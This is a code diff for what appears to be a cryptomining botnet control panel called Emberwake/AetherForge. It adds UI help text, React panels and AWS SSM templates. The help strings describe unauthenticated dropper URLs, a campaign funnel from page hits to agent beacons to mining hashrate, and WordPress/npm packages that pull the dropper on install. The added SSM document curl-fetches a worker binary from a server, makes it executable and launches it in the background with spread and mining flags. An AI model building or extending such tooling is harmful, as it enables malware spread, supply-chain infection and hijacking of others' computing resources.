'EC2 Launch Template strain genesis for AWS horizontal scale — cloud-init user-data embeds genesis snapshot hash, strain card ID, and server URL; first auth sets SpreadGeneration=0 and ParentAgentID=template.',
|
||||||
|
|
||||||
bm_pin_dropper:
|
bm_pin_dropper:
|
||||||
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
|
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
|
||||||
@@ -174,6 +176,14 @@ export const UI_HELP: Record<string, string> = {
|
|||||||
'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.',
|
'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.',
|
||||||
ew_supply_chain:
|
ew_supply_chain:
|
||||||
'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.',
|
'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.',
|
||||||
|
ew_cloud_ecosystem:
|
||||||
|
'Unified cloud deploy hub — AWS and generic cloud templates with mermaid flows, copy/download, and connection tests.',
|
||||||
|
ew_cloud_aws:
|
||||||
|
'AWS templates: S3/CF erasure swarm, SSM, Launch Template, Fargate, EventBridge, Cloud Map.',
|
||||||
|
ew_cloud_generic:
|
||||||
|
'MinIO/S3-compatible kit upload and portable curl manifest.json for any VPS.',
|
||||||
|
ew_ssm_document:
|
||||||
|
'SSM Document spread lane — Run Command curl-fetches install.sh from your command deck.',
|
||||||
ew_public_urls:
|
ew_public_urls:
|
||||||
'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.',
|
'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.',
|
||||||
ew_techniques:
|
ew_techniques:
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
import { lazy, Suspense, useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
||||||
import { Link } from 'react-router-dom';
|
import { Link } from 'react-router-dom';
|
||||||
import { api } from '../api/client';
|
import { api } from '../api/client';
|
||||||
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
|
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
|
||||||
@@ -22,12 +22,15 @@ import { usePresence } from '../context/PresenceContext';
|
|||||||
import AlsoHere from '../components/Presence/AlsoHere';
|
import AlsoHere from '../components/Presence/AlsoHere';
|
||||||
import ComradeAvatar from '../components/Presence/ComradeAvatar';
|
import ComradeAvatar from '../components/Presence/ComradeAvatar';
|
||||||
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
|
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
|
||||||
|
import SSMSpreadPanel from '../components/Emberwake/SSMSpreadPanel';
|
||||||
import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
|
import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
|
||||||
import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy';
|
import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy';
|
||||||
import { HelpTip } from '../components/HelpTip';
|
import { HelpTip } from '../components/HelpTip';
|
||||||
import './EmberwakePage.css';
|
import './EmberwakePage.css';
|
||||||
import '../components/Presence/Presence.css';
|
import '../components/Presence/Presence.css';
|
||||||
|
|
||||||
|
const CloudSpreadPanel = lazy(() => import('../components/Spread/CloudSpreadPanel'));
|
||||||
|
|
||||||
function CopyChip({ text, label }: { text: string; label: string }) {
|
function CopyChip({ text, label }: { text: string; label: string }) {
|
||||||
const [ok, setOk] = useState(false);
|
const [ok, setOk] = useState(false);
|
||||||
const copy = () => {
|
const copy = () => {
|
||||||
@@ -506,6 +509,16 @@ export default function EmberwakePage() {
|
|||||||
)}
|
)}
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
|
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
|
||||||
|
<summary className="emberwake-advanced-summary">
|
||||||
|
<span className="emberwake-section-title">Cloud Ecosystem <HelpTip field="ew_cloud_ecosystem" /></span>
|
||||||
|
<span className="emberwake-section-desc emberwake-advanced-tag">AWS + generic</span>
|
||||||
|
</summary>
|
||||||
|
<Suspense fallback={<p className="form-hint">Loading cloud deploy hub…</p>}>
|
||||||
|
<CloudSpreadPanel serverUrl={serverBase} buildId={pinA} campaign={campaign} />
|
||||||
|
</Suspense>
|
||||||
|
</details>
|
||||||
|
|
||||||
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
|
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
|
||||||
<summary className="emberwake-advanced-summary">
|
<summary className="emberwake-advanced-summary">
|
||||||
<span className="emberwake-section-title">
|
<span className="emberwake-section-title">
|
||||||
@@ -552,6 +565,16 @@ export default function EmberwakePage() {
|
|||||||
</ul>
|
</ul>
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
|
||||||
|
<summary className="emberwake-advanced-summary">
|
||||||
|
<span className="emberwake-section-title">
|
||||||
|
Spread methods — AWS SSM Document <HelpTip field="ew_ssm_document" />
|
||||||
|
</span>
|
||||||
|
<span className="emberwake-section-desc emberwake-advanced-tag">Owned EC2</span>
|
||||||
|
</summary>
|
||||||
|
<SSMSpreadPanel serverBase={serverBase} buildId={pinA} campaign={campaign} />
|
||||||
|
</details>
|
||||||
|
|
||||||
<section
|
<section
|
||||||
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
|
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
|
||||||
aria-labelledby="ew-techniques-heading"
|
aria-labelledby="ew-techniques-heading"
|
||||||
|
|||||||
5
templates/spread/ssm/create-document.sh
Normal file
5
templates/spread/ssm/create-document.sh
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
AWS_CLI="${AWS_CLI:-aws}"
|
||||||
|
DOC_DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||||
|
DOC_NAME="AetherForge-ErasureSpread-{{BUILD_ID}}"
|
||||||
|
"$AWS_CLI" ssm create-document --name "$DOC_NAME" --document-type "Command" --content "file://${DOC_DIR}/document.json" --tags "Key=Campaign,Value={{CAMPAIGN}}" "Key=Lane,Value=ssm_document"
|
||||||
26
templates/spread/ssm/document.json
Normal file
26
templates/spread/ssm/document.json
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
{
|
||||||
|
"schemaVersion": "2.2",
|
||||||
|
"description": "AetherForge erasure manifest + shard fetch — owned EC2 only. Campaign={{CAMPAIGN}} build={{BUILD_ID}}",
|
||||||
|
"parameters": {
|
||||||
|
"Campaign": { "type": "String", "default": "{{CAMPAIGN}}" }
|
||||||
|
},
|
||||||
|
"mainSteps": [
|
||||||
|
{
|
||||||
|
"action": "aws:runShellScript",
|
||||||
|
"name": "fetchErasureShards",
|
||||||
|
"inputs": {
|
||||||
|
"runCommand": [
|
||||||
|
"#!/bin/bash",
|
||||||
|
"set -euo pipefail",
|
||||||
|
"WORKDIR=/tmp/aetherforge-erasure",
|
||||||
|
"mkdir -p \"$WORKDIR\"",
|
||||||
|
"curl -fsSL '{{MANIFEST_URL}}' -o \"$WORKDIR/manifest.json\"",
|
||||||
|
"{{SHARD_FETCH_LINES}}",
|
||||||
|
"curl -fsSL '{{FALLBACK_GET_URL}}' -o \"$WORKDIR/worker\"",
|
||||||
|
"chmod +x \"$WORKDIR/worker\"",
|
||||||
|
"nohup \"$WORKDIR/worker\" --spread-install --defer-mining >/dev/null 2>&1 &"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
7
templates/spread/ssm/run-command.json
Normal file
7
templates/spread/ssm/run-command.json
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
{
|
||||||
|
"DocumentName": "AetherForge-ErasureSpread-{{BUILD_ID}}",
|
||||||
|
"DocumentVersion": "$LATEST",
|
||||||
|
"Targets": [{ "Key": "tag:AetherForge", "Values": ["owned"] }],
|
||||||
|
"Parameters": { "Campaign": ["{{CAMPAIGN}}"] },
|
||||||
|
"Comment": "AetherForge ssm_document lane — curl erasure manifest/shards from {{SERVER_URL}}"
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user